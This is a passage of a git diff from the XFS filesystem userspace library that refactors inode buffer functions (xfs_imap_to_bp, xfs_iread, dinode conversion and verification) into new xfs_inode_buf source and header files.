Stored in the inode and passed to - * xfs_imap_to_bp() to get a buffer and dinode for a given inode. - */ -struct xfs_imap { - xfs_daddr_t im_blkno; /* starting BB of inode chunk */ - ushort im_len; /* length in BBs of inode chunk */ - ushort im_boffset; /* inode offset in block in bytes */ -}; - - -#ifdef __KERNEL__ - -struct xfs_buf; -struct xfs_bmap_free; -struct xfs_bmbt_irec; -struct xfs_inode_log_item; -struct xfs_mount; -struct xfs_trans; -struct xfs_dquot; - -typedef struct xfs_inode { - /* Inode linking and identification information. */ - struct xfs_mount *i_mount; /* fs mount struct ptr */ - struct xfs_dquot *i_udquot; /* user dquot */ - struct xfs_dquot *i_gdquot; /* group dquot */ - - /* Inode location stuff */ - xfs_ino_t i_ino; /* inode number (agno/agino)*/ - struct xfs_imap i_imap; /* location for xfs_imap() */ - - /* Extent information. */ - xfs_ifork_t *i_afp; /* attribute fork pointer */ - xfs_ifork_t i_df; /* data fork */ - - /* Transaction and locking information. */ - struct xfs_inode_log_item *i_itemp; /* logging information */ - mrlock_t i_lock; /* inode lock */ - mrlock_t i_iolock; /* inode IO lock */ - atomic_t i_pincount; /* inode pin count */ - spinlock_t i_flags_lock; /* inode i_flags lock */ - /* Miscellaneous state. */ - unsigned long i_flags; /* see defined flags below */ - unsigned int i_delayed_blks; /* count of delay alloc blks */ - - xfs_icdinode_t i_d; /* most of ondisk inode */ - - /* VFS inode */ - struct inode i_vnode; /* embedded VFS inode */ -} xfs_inode_t; - -/* Convert from vfs inode to xfs inode */ -static inline struct xfs_inode *XFS_I(struct inode *inode) -{ - return container_of(inode, struct xfs_inode, i_vnode); -} - -/* convert from xfs inode to vfs inode */ -static inline struct inode *VFS_I(struct xfs_inode *ip) -{ - return &ip->i_vnode; -} - -/* - * For regular files we only update the on-disk filesize when actually - * writing data back to disk. Until then only the copy in the VFS inode - * is uptodate. - */ -static inline xfs_fsize_t XFS_ISIZE(struct xfs_inode *ip) -{ - if (S_ISREG(ip->i_d.di_mode)) - return i_size_read(VFS_I(ip)); - return ip->i_d.di_size; -} - -/* - * If this I/O goes past the on-disk inode size update it unless it would - * be past the current in-core inode size. - */ -static inline xfs_fsize_t -xfs_new_eof(struct xfs_inode *ip, xfs_fsize_t new_size) -{ - xfs_fsize_t i_size = i_size_read(VFS_I(ip)); - - if (new_size > i_size) - new_size = i_size; - return new_size > ip->i_d.di_size ? new_size : 0; -} - -/* - * i_flags helper functions - */ -static inline void -__xfs_iflags_set(xfs_inode_t *ip, unsigned short flags) -{ - ip->i_flags |= flags; -} - -static inline void -xfs_iflags_set(xfs_inode_t *ip, unsigned short flags) -{ - spin_lock(&ip->i_flags_lock); - __xfs_iflags_set(ip, flags); - spin_unlock(&ip->i_flags_lock); -} - -static inline void -xfs_iflags_clear(xfs_inode_t *ip, unsigned short flags) -{ - spin_lock(&ip->i_flags_lock); - ip->i_flags &= ~flags; - spin_unlock(&ip->i_flags_lock); -} - -static inline int -__xfs_iflags_test(xfs_inode_t *ip, unsigned short flags) -{ - return (ip->i_flags & flags); -} - -static inline int -xfs_iflags_test(xfs_inode_t *ip, unsigned short flags) -{ - int ret; - spin_lock(&ip->i_flags_lock); - ret = __xfs_iflags_test(ip, flags); - spin_unlock(&ip->i_flags_lock); - return ret; -} - -static inline int -xfs_iflags_test_and_clear(xfs_inode_t *ip, unsigned short flags) -{ - int ret; - - spin_lock(&ip->i_flags_lock); - ret = ip->i_flags & flags; - if (ret) - ip->i_flags &= ~flags; - spin_unlock(&ip->i_flags_lock); - return ret; -} - -static inline int -xfs_iflags_test_and_set(xfs_inode_t *ip, unsigned short flags) -{ - int ret; - - spin_lock(&ip->i_flags_lock); - ret = ip->i_flags & flags; - if (!ret) - ip->i_flags |= flags; - spin_unlock(&ip->i_flags_lock); - return ret; -} - -/* - * Project quota id helpers (previously projid was 16bit only - * and using two 16bit values to hold new 32bit projid was chosen - * to retain compatibility with "old" filesystems). - */ -static inline prid_t -xfs_get_projid(struct xfs_inode *ip) -{ - return (prid_t)ip->i_d.di_projid_hi << 16 | ip->i_d.di_projid_lo; -} - -static inline void -xfs_set_projid(struct xfs_inode *ip, - prid_t projid) -{ - ip->i_d.di_projid_hi = (__uint16_t) (projid >> 16); - ip->i_d.di_projid_lo = (__uint16_t) (projid & 0xffff); -} - -/* - * In-core inode flags. - */ -#define XFS_IRECLAIM (1 << 0) /* started reclaiming this inode */ -#define XFS_ISTALE (1 << 1) /* inode has been staled */ -#define XFS_IRECLAIMABLE (1 << 2) /* inode can be reclaimed */ -#define XFS_INEW (1 << 3) /* inode has just been allocated */ -#define XFS_IFILESTREAM (1 << 4) /* inode is in a filestream dir. */ -#define XFS_ITRUNCATED (1 << 5) /* truncated down so flush-on-close */ -#define XFS_IDIRTY_RELEASE (1 << 6) /* dirty release already seen */ -#define __XFS_IFLOCK_BIT 7 /* inode is being flushed right now */ -#define XFS_IFLOCK (1 << __XFS_IFLOCK_BIT) -#define __XFS_IPINNED_BIT 8 /* wakeup key for zero pin count */ -#define XFS_IPINNED (1 << __XFS_IPINNED_BIT) -#define XFS_IDONTCACHE (1 << 9) /* don't cache the inode long term */ - -/* - * Per-lifetime flags need to be reset when re-using a reclaimable inode during - * inode lookup. This prevents unintended behaviour on the new inode from - * ocurring. - */ -#define XFS_IRECLAIM_RESET_FLAGS \ - (XFS_IRECLAIMABLE | XFS_IRECLAIM | \ - XFS_IDIRTY_RELEASE | XFS_ITRUNCATED | \ - XFS_IFILESTREAM); - -/* - * Synchronize processes attempting to flush the in-core inode back to disk. - */ - -extern void __xfs_iflock(struct xfs_inode *ip); - -static inline int xfs_iflock_nowait(struct xfs_inode *ip) -{ - return !xfs_iflags_test_and_set(ip, XFS_IFLOCK); -} - -static inline void xfs_iflock(struct xfs_inode *ip) -{ - if (!xfs_iflock_nowait(ip)) - __xfs_iflock(ip); -} - -static inline void xfs_ifunlock(struct xfs_inode *ip) -{ - xfs_iflags_clear(ip, XFS_IFLOCK); - smp_mb(); - wake_up_bit(&ip->i_flags, __XFS_IFLOCK_BIT); -} - -static inline int xfs_isiflocked(struct xfs_inode *ip) -{ - return xfs_iflags_test(ip, XFS_IFLOCK); -} - -/* - * Flags for inode locking. - * Bit ranges: 1<<1 - 1<<16-1 -- iolock/ilock modes (bitfield) - * 1<<16 - 1<<32-1 -- lockdep annotation (integers) - */ -#define XFS_IOLOCK_EXCL (1<<0) -#define XFS_IOLOCK_SHARED (1<<1) -#define XFS_ILOCK_EXCL (1<<2) -#define XFS_ILOCK_SHARED (1<<3) - -#define XFS_LOCK_MASK (XFS_IOLOCK_EXCL | XFS_IOLOCK_SHARED \ - | XFS_ILOCK_EXCL | XFS_ILOCK_SHARED) - -#define XFS_LOCK_FLAGS \ - { XFS_IOLOCK_EXCL, "IOLOCK_EXCL" }, \ - { XFS_IOLOCK_SHARED, "IOLOCK_SHARED" }, \ - { XFS_ILOCK_EXCL, "ILOCK_EXCL" }, \ - { XFS_ILOCK_SHARED, "ILOCK_SHARED" } - - -/* - * Flags for lockdep annotations. - * - * XFS_LOCK_PARENT - for directory operations that require locking a - * parent directory inode and a child entry inode. The parent gets locked - * with this flag so it gets a lockdep subclass of 1 and the child entry - * lock will have a lockdep subclass of 0. - * - * XFS_LOCK_RTBITMAP/XFS_LOCK_RTSUM - the realtime device bitmap and summary - * inodes do not participate in the normal lock order, and thus have their - * own subclasses. - * - * XFS_LOCK_INUMORDER - for locking several inodes at the some time - * with xfs_lock_inodes(). This flag is used as the starting subclass - * and each subsequent lock acquired will increment the subclass by one. - * So the first lock acquired will have a lockdep subclass of 4, the - * second lock will have a lockdep subclass of 5, and so on. It is - * the responsibility of the class builder to shift this to the correct - * portion of the lock_mode lockdep mask. - */ -#define XFS_LOCK_PARENT 1 -#define XFS_LOCK_RTBITMAP 2 -#define XFS_LOCK_RTSUM 3 -#define XFS_LOCK_INUMORDER 4 - -#define XFS_IOLOCK_SHIFT 16 -#define XFS_IOLOCK_PARENT (XFS_LOCK_PARENT << XFS_IOLOCK_SHIFT) - -#define XFS_ILOCK_SHIFT 24 -#define XFS_ILOCK_PARENT (XFS_LOCK_PARENT << XFS_ILOCK_SHIFT) -#define XFS_ILOCK_RTBITMAP (XFS_LOCK_RTBITMAP << XFS_ILOCK_SHIFT) -#define XFS_ILOCK_RTSUM (XFS_LOCK_RTSUM << XFS_ILOCK_SHIFT) - -#define XFS_IOLOCK_DEP_MASK 0x00ff0000 -#define XFS_ILOCK_DEP_MASK 0xff000000 -#define XFS_LOCK_DEP_MASK (XFS_IOLOCK_DEP_MASK | XFS_ILOCK_DEP_MASK) - -#define XFS_IOLOCK_DEP(flags) (((flags) & XFS_IOLOCK_DEP_MASK) >> XFS_IOLOCK_SHIFT) -#define XFS_ILOCK_DEP(flags) (((flags) & XFS_ILOCK_DEP_MASK) >> XFS_ILOCK_SHIFT) - -/* - * For multiple groups support: if S_ISGID bit is set in the parent - * directory, group of new file is set to that of the parent, and - * new subdirectory gets S_ISGID bit from parent. - */ -#define XFS_INHERIT_GID(pip) \ - (((pip)->i_mount->m_flags & XFS_MOUNT_GRPID) || \ - ((pip)->i_d.di_mode & S_ISGID)) - - -/* - * xfs_inode.c prototypes. - */ -void xfs_ilock(xfs_inode_t *, uint); -int xfs_ilock_nowait(xfs_inode_t *, uint); -void xfs_iunlock(xfs_inode_t *, uint); -void xfs_ilock_demote(xfs_inode_t *, uint); -int xfs_isilocked(xfs_inode_t *, uint); -uint xfs_ilock_map_shared(xfs_inode_t *); -void xfs_iunlock_map_shared(xfs_inode_t *, uint); -int xfs_ialloc(struct xfs_trans *, xfs_inode_t *, umode_t, - xfs_nlink_t, xfs_dev_t, prid_t, int, - struct xfs_buf **, xfs_inode_t **); - -uint xfs_ip2xflags(struct xfs_inode *); -uint xfs_dic2xflags(struct xfs_dinode *); -int xfs_ifree(struct xfs_trans *, xfs_inode_t *, - struct xfs_bmap_free *); -int xfs_itruncate_extents(struct xfs_trans **, struct xfs_inode *, - int, xfs_fsize_t); -int xfs_iunlink(struct xfs_trans *, xfs_inode_t *); - -void xfs_iext_realloc(xfs_inode_t *, int, int); -void xfs_iunpin_wait(xfs_inode_t *); -int xfs_iflush(struct xfs_inode *, struct xfs_buf **); -void xfs_lock_inodes(xfs_inode_t **, int, uint); -void xfs_lock_two_inodes(xfs_inode_t *, xfs_inode_t *, uint); - -xfs_extlen_t xfs_get_extsz_hint(struct xfs_inode *ip); - -#define IHOLD(ip) \ -do { \ - ASSERT(atomic_read(&VFS_I(ip)->i_count) > 0) ; \ - ihold(VFS_I(ip)); \ - trace_xfs_ihold(ip, _THIS_IP_); \ -} while (0) - -#define IRELE(ip) \ -do { \ - trace_xfs_irele(ip, _THIS_IP_); \ - iput(VFS_I(ip)); \ -} while (0) - -#endif /* __KERNEL__ */ - -int xfs_imap_to_bp(struct xfs_mount *, struct xfs_trans *, - struct xfs_imap *, struct xfs_dinode **, - struct xfs_buf **, uint, uint); -int xfs_iread(struct xfs_mount *, struct xfs_trans *, - struct xfs_inode *, uint); -void xfs_dinode_calc_crc(struct xfs_mount *, struct xfs_dinode *); -void xfs_dinode_to_disk(struct xfs_dinode *, - struct xfs_icdinode *); -bool xfs_can_free_eofblocks(struct xfs_inode *, bool); - -#define xfs_ipincount(ip) ((unsigned int) atomic_read(&ip->i_pincount)) - -#if defined(DEBUG) -void xfs_inobp_check(struct xfs_mount *, struct xfs_buf *); -#else -#define xfs_inobp_check(mp, bp) -#endif /* DEBUG */ - -extern struct kmem_zone *xfs_inode_zone; -extern const struct xfs_buf_ops xfs_inode_buf_ops; - -#endif /* __XFS_INODE_H__ */ diff --git a/include/xfs_inode_buf.h b/include/xfs_inode_buf.h new file mode 100644 index 0000000..b5f1e22 --- /dev/null +++ b/include/xfs_inode_buf.h @@ -0,0 +1,53 @@ +/* + * Copyright (c) 2000-2003,2005 Silicon Graphics, Inc. + * All Rights Reserved. + * + * This program is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public License as + * published by the Free Software Foundation. + * + * This program is distributed in the hope that it would be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write the Free Software Foundation, + * Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA + */ +#ifndef __XFS_INODE_BUF_H__ +#define __XFS_INODE_BUF_H__ + +struct xfs_inode; +struct xfs_dinode; +struct xfs_icdinode; + +/* + * Inode location information. Stored in the inode and passed to + * xfs_imap_to_bp() to get a buffer and dinode for a given inode. + */ +struct xfs_imap { + xfs_daddr_t im_blkno; /* starting BB of inode chunk */ + ushort im_len; /* length in BBs of inode chunk */ + ushort im_boffset; /* inode offset in block in bytes */ +}; + +int xfs_imap_to_bp(struct xfs_mount *, struct xfs_trans *, + struct xfs_imap *, struct xfs_dinode **, + struct xfs_buf **, uint, uint); +int xfs_iread(struct xfs_mount *, struct xfs_trans *, + struct xfs_inode *, uint); +void xfs_dinode_calc_crc(struct xfs_mount *, struct xfs_dinode *); +void xfs_dinode_to_disk(struct xfs_dinode *, + struct xfs_icdinode *); +bool xfs_can_free_eofblocks(struct xfs_inode *, bool); + +#if defined(DEBUG) +void xfs_inobp_check(struct xfs_mount *, struct xfs_buf *); +#else +#define xfs_inobp_check(mp, bp) +#endif /* DEBUG */ + +extern const struct xfs_buf_ops xfs_inode_buf_ops; + +#endif /* __XFS_INODE_BUF_H__ */ diff --git a/libxfs/Makefile b/libxfs/Makefile index ed978f9..b7df144 100644 --- a/libxfs/Makefile +++ b/libxfs/Makefile @@ -16,7 +16,7 @@ CFILES = cache.c init.c kmem.c logitem.c radix-tree.c rdwr.c trans.c util.c \ xfs_alloc_btree.c \ xfs_btree.c \ xfs_ialloc.c \ - xfs_inode.c \ + xfs_inode_buf.c \ xfs_inode_fork.c \ xfs_ialloc_btree.c xfs_bmap_btree.c xfs_da_btree.c \ xfs_dir2.c xfs_dir2_leaf.c xfs_attr_leaf.c xfs_dir2_block.c \ diff --git a/libxfs/init.c b/libxfs/init.c index e62f26a..5c418bc 100644 --- a/libxfs/init.c +++ b/libxfs/init.c @@ -32,6 +32,8 @@ int use_xfs_buf_lock; /* global flag: use xfs_buf_t locks for MT */ static void manage_zones(int); /* setup global zones */ +kmem_zone_t *xfs_inode_zone; + /* * dev_map - map open devices to fd. */ @@ -369,7 +371,6 @@ manage_zones(int release) { extern kmem_zone_t *xfs_buf_zone; extern kmem_zone_t *xfs_ili_zone; - extern kmem_zone_t *xfs_inode_zone; extern kmem_zone_t *xfs_ifork_zone; extern kmem_zone_t *xfs_buf_item_zone; extern kmem_zone_t *xfs_da_state_zone; diff --git a/libxfs/xfs_inode.c b/libxfs/xfs_inode.c deleted file mode 100644 index 7efe1b3..0000000 --- a/libxfs/xfs_inode.c +++ /dev/null @@ -1,419 +0,0 @@ -/* - * Copyright (c) 2000-2006 Silicon Graphics, Inc. - * All Rights Reserved. - * - * This program is free software; you can redistribute it and/or - * modify it under the terms of the GNU General Public License as - * published by the Free Software Foundation. - * - * This program is distributed in the hope that it would be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - * GNU General Public License for more details. - * - * You should have received a copy of the GNU General Public License - * along with this program; if not, write the Free Software Foundation, - * Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA - */ - -#include - -kmem_zone_t *xfs_inode_zone; - -/* - * Used in xfs_itruncate_extents(). This is the maximum number of extents - * freed from a file in a single transaction. - */ -#define XFS_ITRUNC_MAX_EXTENTS 2 - -/* - * Check that none of the inode's in the buffer have a next - * unlinked field of 0. - */ -#if defined(DEBUG) -void -xfs_inobp_check( - xfs_mount_t *mp, - xfs_buf_t *bp) -{ - int i; - int j; - xfs_dinode_t *dip; - - j = mp->m_inode_cluster_size >> mp->m_sb.sb_inodelog; - - for (i = 0; i < j; i++) { - dip = (xfs_dinode_t *)xfs_buf_offset(bp, - i * mp->m_sb.sb_inodesize); - if (!dip->di_next_unlinked) { - xfs_alert(mp, - "Detected bogus zero next_unlinked field in incore inode buffer 0x%p.", - bp); - ASSERT(dip->di_next_unlinked); - } - } -} -#endif - -static void -xfs_inode_buf_verify( - struct xfs_buf *bp) -{ - struct xfs_mount *mp = bp->b_target->bt_mount; - int i; - int ni; - - /* - * Validate the magic number and version of every inode in the buffer - */ - ni = XFS_BB_TO_FSB(mp, bp->b_length) * mp->m_sb.sb_inopblock; - for (i = 0; i < ni; i++) { - int di_ok; - xfs_dinode_t *dip; - - dip = (struct xfs_dinode *)xfs_buf_offset(bp, - (i << mp->m_sb.sb_inodelog)); - di_ok = dip->di_magic == cpu_to_be16(XFS_DINODE_MAGIC) && - XFS_DINODE_GOOD_VERSION(dip->di_version); - if (unlikely(XFS_TEST_ERROR(!di_ok, mp, - XFS_ERRTAG_ITOBP_INOTOBP, - XFS_RANDOM_ITOBP_INOTOBP))) { - xfs_buf_ioerror(bp, EFSCORRUPTED); - XFS_CORRUPTION_ERROR(__func__, XFS_ERRLEVEL_HIGH, - mp, dip); -#ifdef DEBUG - xfs_emerg(mp, - "bad inode magic/vsn daddr %lld #%d (magic=%x)", - (unsigned long long)bp->b_bn, i, - be16_to_cpu(dip->di_magic)); - ASSERT(0); -#endif - } - } - xfs_inobp_check(mp, bp); -} - - -static void -xfs_inode_buf_read_verify( - struct xfs_buf *bp) -{ - xfs_inode_buf_verify(bp); -} - -static void -xfs_inode_buf_write_verify( - struct xfs_buf *bp) -{ - xfs_inode_buf_verify(bp); -} - -const struct xfs_buf_ops xfs_inode_buf_ops = { - .verify_read = xfs_inode_buf_read_verify, - .verify_write = xfs_inode_buf_write_verify, -}; - - -/* - * This routine is called to map an inode to the buffer containing the on-disk - * version of the inode. It returns a pointer to the buffer containing the - * on-disk inode in the bpp parameter, and in the dipp parameter it returns a - * pointer to the on-disk inode within that buffer. - * - * If a non-zero error is returned, then the contents of bpp and dipp are - * undefined. - */ -int -xfs_imap_to_bp( - struct xfs_mount *mp, - struct xfs_trans *tp, - struct xfs_imap *imap, - struct xfs_dinode **dipp, - struct xfs_buf **bpp, - uint buf_flags, - uint iget_flags) -{ - struct xfs_buf *bp; - int error; - - buf_flags |= XBF_UNMAPPED; - error = xfs_trans_read_buf(mp, tp, mp->m_ddev_targp, imap->im_blkno, - (int)imap->im_len, buf_flags, &bp, - &xfs_inode_buf_ops); - if (error) { - if (error == EAGAIN) { - ASSERT(buf_flags & XBF_TRYLOCK); - return error; - } - - if (error == EFSCORRUPTED && - (iget_flags & XFS_IGET_UNTRUSTED)) - return XFS_ERROR(EINVAL); - - xfs_warn(mp, "%s: xfs_trans_read_buf() returned error %d.", - __func__, error); - return error; - } - - *bpp = bp; - *dipp = (struct xfs_dinode *)xfs_buf_offset(bp, imap->im_boffset); - return 0; -} - -void -xfs_dinode_from_disk( - xfs_icdinode_t *to, - xfs_dinode_t *from) -{ - to->di_magic = be16_to_cpu(from->di_magic); - to->di_mode = be16_to_cpu(from->di_mode); - to->di_version = from ->di_version; - to->di_format = from->di_format; - to->di_onlink = be16_to_cpu(from->di_onlink); - to->di_uid = be32_to_cpu(from->di_uid); - to->di_gid = be32_to_cpu(from->di_gid); - to->di_nlink = be32_to_cpu(from->di_nlink); - to->di_projid_lo = be16_to_cpu(from->di_projid_lo); - to->di_projid_hi = be16_to_cpu(from->di_projid_hi); - memcpy(to->di_pad, from->di_pad, sizeof(to->di_pad)); - to->di_flushiter = be16_to_cpu(from->di_flushiter); - to->di_atime.t_sec = be32_to_cpu(from->di_atime.t_sec); - to->di_atime.t_nsec = be32_to_cpu(from->di_atime.t_nsec); - to->di_mtime.t_sec = be32_to_cpu(from->di_mtime.t_sec); - to->di_mtime.t_nsec = be32_to_cpu(from->di_mtime.t_nsec); - to->di_ctime.t_sec = be32_to_cpu(from->di_ctime.t_sec); - to->di_ctime.t_nsec = be32_to_cpu(from->di_ctime.t_nsec); - to->di_size = be64_to_cpu(from->di_size); - to->di_nblocks = be64_to_cpu(from->di_nblocks); - to->di_extsize = be32_to_cpu(from->di_extsize); - to->di_nextents = be32_to_cpu(from->di_nextents); - to->di_anextents = be16_to_cpu(from->di_anextents); - to->di_forkoff = from->di_forkoff; - to->di_aformat = from->di_aformat; - to->di_dmevmask = be32_to_cpu(from->di_dmevmask); - to->di_dmstate = be16_to_cpu(from->di_dmstate); - to->di_flags = be16_to_cpu(from->di_flags); - to->di_gen = be32_to_cpu(from->di_gen); - - if (to->di_version == 3) { - to->di_changecount = be64_to_cpu(from->di_changecount); - to->di_crtime.t_sec = be32_to_cpu(from->di_crtime.t_sec); - to->di_crtime.t_nsec = be32_to_cpu(from->di_crtime.t_nsec); - to->di_flags2 = be64_to_cpu(from->di_flags2); - to->di_ino = be64_to_cpu(from->di_ino); - to->di_lsn = be64_to_cpu(from->di_lsn); - memcpy(to->di_pad2, from->di_pad2, sizeof(to->di_pad2)); - platform_uuid_copy(&to->di_uuid, &from->di_uuid); - } -} - -void -xfs_dinode_to_disk( - xfs_dinode_t *to, - xfs_icdinode_t *from) -{ - to->di_magic = cpu_to_be16(from->di_magic); - to->di_mode = cpu_to_be16(from->di_mode); - to->di_version = from ->di_version; - to->di_format = from->di_format; - to->di_onlink = cpu_to_be16(from->di_onlink); - to->di_uid = cpu_to_be32(from->di_uid); - to->di_gid = cpu_to_be32(from->di_gid); - to->di_nlink = cpu_to_be32(from->di_nlink); - to->di_projid_lo = cpu_to_be16(from->di_projid_lo); - to->di_projid_hi = cpu_to_be16(from->di_projid_hi); - memcpy(to->di_pad, from->di_pad, sizeof(to->di_pad)); - to->di_flushiter = cpu_to_be16(from->di_flushiter); - to->di_atime.t_sec = cpu_to_be32(from->di_atime.t_sec); - to->di_atime.t_nsec = cpu_to_be32(from->di_atime.t_nsec); - to->di_mtime.t_sec = cpu_to_be32(from->di_mtime.t_sec); - to->di_mtime.t_nsec = cpu_to_be32(from->di_mtime.t_nsec); - to->di_ctime.t_sec = cpu_to_be32(from->di_ctime.t_sec); - to->di_ctime.t_nsec = cpu_to_be32(from->di_ctime.t_nsec); - to->di_size = cpu_to_be64(from->di_size); - to->di_nblocks = cpu_to_be64(from->di_nblocks); - to->di_extsize = cpu_to_be32(from->di_extsize); - to->di_nextents = cpu_to_be32(from->di_nextents); - to->di_anextents = cpu_to_be16(from->di_anextents); - to->di_forkoff = from->di_forkoff; - to->di_aformat = from->di_aformat; - to->di_dmevmask = cpu_to_be32(from->di_dmevmask); - to->di_dmstate = cpu_to_be16(from->di_dmstate); - to->di_flags = cpu_to_be16(from->di_flags); - to->di_gen = cpu_to_be32(from->di_gen); - - if (from->di_version == 3) { - to->di_changecount = cpu_to_be64(from->di_changecount); - to->di_crtime.t_sec = cpu_to_be32(from->di_crtime.t_sec); - to->di_crtime.t_nsec = cpu_to_be32(from->di_crtime.t_nsec); - to->di_flags2 = cpu_to_be64(from->di_flags2); - to->di_ino = cpu_to_be64(from->di_ino); - to->di_lsn = cpu_to_be64(from->di_lsn); - memcpy(to->di_pad2, from->di_pad2, sizeof(to->di_pad2)); - platform_uuid_copy(&to->di_uuid, &from->di_uuid); - } -} - -static bool -xfs_dinode_verify( - struct xfs_mount *mp, - struct xfs_inode *ip, - struct xfs_dinode *dip) -{ - if (dip->di_magic != cpu_to_be16(XFS_DINODE_MAGIC)) - return false; - - /* only version 3 or greater inodes are extensively verified here */ - if (dip->di_version < 3) - return true; - - if (!xfs_sb_version_hascrc(&mp->m_sb)) - return false; - if (!xfs_verify_cksum((char *)dip, mp->m_sb.sb_inodesize, - offsetof(struct xfs_dinode, di_crc))) - return false; - if (be64_to_cpu(dip->di_ino) != ip->i_ino) - return false; - if (!uuid_equal(&dip->di_uuid, &mp->m_sb.sb_uuid)) - return false; - return true; -} -void -xfs_dinode_calc_crc( - struct xfs_mount *mp, - struct xfs_dinode *dip) -{ - __uint32_t crc; - - if (dip->di_version < 3) - return; - - ASSERT(xfs_sb_version_hascrc(&mp->m_sb)); - crc = xfs_start_cksum((char *)dip, mp->m_sb.sb_inodesize, - offsetof(struct xfs_dinode, di_crc)); - dip->di_crc = xfs_end_cksum(crc); -} - -/* - * Read the disk inode attributes into the in-core inode structure. - */ -int -xfs_iread( - xfs_mount_t *mp, - xfs_trans_t *tp, - xfs_inode_t *ip, - uint iget_flags) -{ - xfs_buf_t *bp; - xfs_dinode_t *dip; - int error; - - /* - * Fill in the location information in the in-core inode. - */ - error = xfs_imap(mp, tp, ip->i_ino, &ip->i_imap, iget_flags); - if (error) - return error; - - /* - * Get pointers to the on-disk inode and the buffer containing it. - */ - error = xfs_imap_to_bp(mp, tp, &ip->i_imap, &dip, &bp, 0, iget_flags); - if (error) - return error; - - /* even unallocated inodes are verified */ - if (!xfs_dinode_verify(mp, ip, dip)) { - xfs_alert(mp, "%s: validation failed for inode %lld failed", - __func__, ip->i_ino); - - XFS_CORRUPTION_ERROR(__func__, XFS_ERRLEVEL_LOW, mp, dip); - error = XFS_ERROR(EFSCORRUPTED); - goto out_brelse; - } - - /* - * If the on-disk inode is already linked to a directory - * entry, copy all of the inode into the in-core inode. - * xfs_iformat_fork() handles copying in the inode format - * specific information. - * Otherwise, just get the truly permanent information. - */ - if (dip->di_mode) { - xfs_dinode_from_disk(&ip->i_d, dip); - error = xfs_iformat_fork(ip, dip); - if (error) { -#ifdef DEBUG - xfs_alert(mp, "%s: xfs_iformat() returned error %d", - __func__, error); -#endif /* DEBUG */ - goto out_brelse; - } - } else { - /* - * Partial initialisation of the in-core inode. Just the bits - * that xfs_ialloc won't overwrite or relies on being correct. - */ - ip->i_d.di_magic = be16_to_cpu(dip->di_magic); - ip->i_d.di_version = dip->di_version; - ip->i_d.di_gen = be32_to_cpu(dip->di_gen); - ip->i_d.di_flushiter = be16_to_cpu(dip->di_flushiter); - - if (dip->di_version == 3) { - ip->i_d.di_ino = be64_to_cpu(dip->di_ino); - uuid_copy(&ip->i_d.di_uuid, &dip->di_uuid); - } - - /* - * Make sure to pull in the mode here as well in - * case the inode is released without being used. - * This ensures that xfs_inactive() will see that - * the inode is already free and not try to mess - * with the uninitialized part of it. - */ - ip->i_d.di_mode = 0; - } - - /* - * The inode format changed when we moved the link count and - * made it 32 bits long. If this is an old format inode, - * convert it in memory to look like a new one. If it gets - * flushed to disk we will convert back before flushing or - * logging it. We zero out the new projid field and the old link - * count field. We'll handle clearing the pad field (the remains - * of the old uuid field) when we actually convert the inode to - * the new format. We don't change the version number so that we - * can distinguish this from a real new format inode. - */ - if (ip->i_d.di_version == 1) { - ip->i_d.di_nlink = ip->i_d.di_onlink; - ip->i_d.di_onlink = 0; - xfs_set_projid(&ip->i_d, 0); - } - - ip->i_delayed_blks = 0; - - /* - * Mark the buffer containing the inode as something to keep - * around for a while. This helps to keep recently accessed - * meta-data in-core longer. - */ - xfs_buf_set_ref(bp, XFS_INO_REF); - - /* - * Use xfs_trans_brelse() to release the buffer containing the - * on-disk inode, because it was acquired with xfs_trans_read_buf() - * in xfs_imap_to_bp() above. If tp is NULL, this is just a normal - * brelse(). If we're within a transaction, then xfs_trans_brelse() - * will only release the buffer if it is not dirty within the - * transaction. It will be OK to release the buffer in this case, - * because inodes on disk are never destroyed and we will be - * locking the new in-core inode before putting it in the hash - * table where other processes can find it. Thus we don't have - * to worry about the inode being changed just because we released - * the buffer. - */ - out_brelse: - xfs_trans_brelse(tp, bp); - return error; -} diff --git a/libxfs/xfs_inode_buf.c b/libxfs/xfs_inode_buf.c new file mode 100644 index 0000000..3c811f5 --- /dev/null +++ b/libxfs/xfs_inode_buf.c @@ -0,0 +1,408 @@ +/* + * Copyright (c) 2000-2006 Silicon Graphics, Inc. + * All Rights Reserved. + * + * This program is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public License as + * published by the Free Software Foundation. + * + * This program is distributed in the hope that it would be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write the Free Software Foundation, + * Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA + */ + +#include + +/* + * Check that none of the inode's in the buffer have a next + * unlinked field of 0. + */ +#if defined(DEBUG) +void +xfs_inobp_check( + xfs_mount_t *mp, + xfs_buf_t *bp) +{ + int i; + int j; + xfs_dinode_t *dip; + + j = mp->m_inode_cluster_size >> mp->m_sb.sb_inodelog; + + for (i = 0; i < j; i++) { + dip = (xfs_dinode_t *)xfs_buf_offset(bp, + i * mp->m_sb.sb_inodesize); + if (!dip->di_next_unlinked) { + xfs_alert(mp, + "Detected bogus zero next_unlinked field in incore inode buffer 0x%p.", + bp); + ASSERT(dip->di_next_unlinked); + } + } +} +#endif + +static void +xfs_inode_buf_verify( + struct xfs_buf *bp) +{ + struct xfs_mount *mp = bp->b_target->bt_mount; + int i; + int ni; + + /* + * Validate the magic number and version of every inode in the buffer + */ + ni = XFS_BB_TO_FSB(mp, bp->b_length) * mp->m_sb.sb_inopblock; + for (i = 0; i < ni; i++) { + int di_ok; + xfs_dinode_t *dip; + + dip = (struct xfs_dinode *)xfs_buf_offset(bp, + (i << mp->m_sb.sb_inodelog)); + di_ok = dip->di_magic == cpu_to_be16(XFS_DINODE_MAGIC) && + XFS_DINODE_GOOD_VERSION(dip->di_version); + if (unlikely(XFS_TEST_ERROR(!di_ok, mp, + XFS_ERRTAG_ITOBP_INOTOBP, + XFS_RANDOM_ITOBP_INOTOBP))) { + xfs_buf_ioerror(bp, EFSCORRUPTED); + XFS_CORRUPTION_ERROR(__func__, 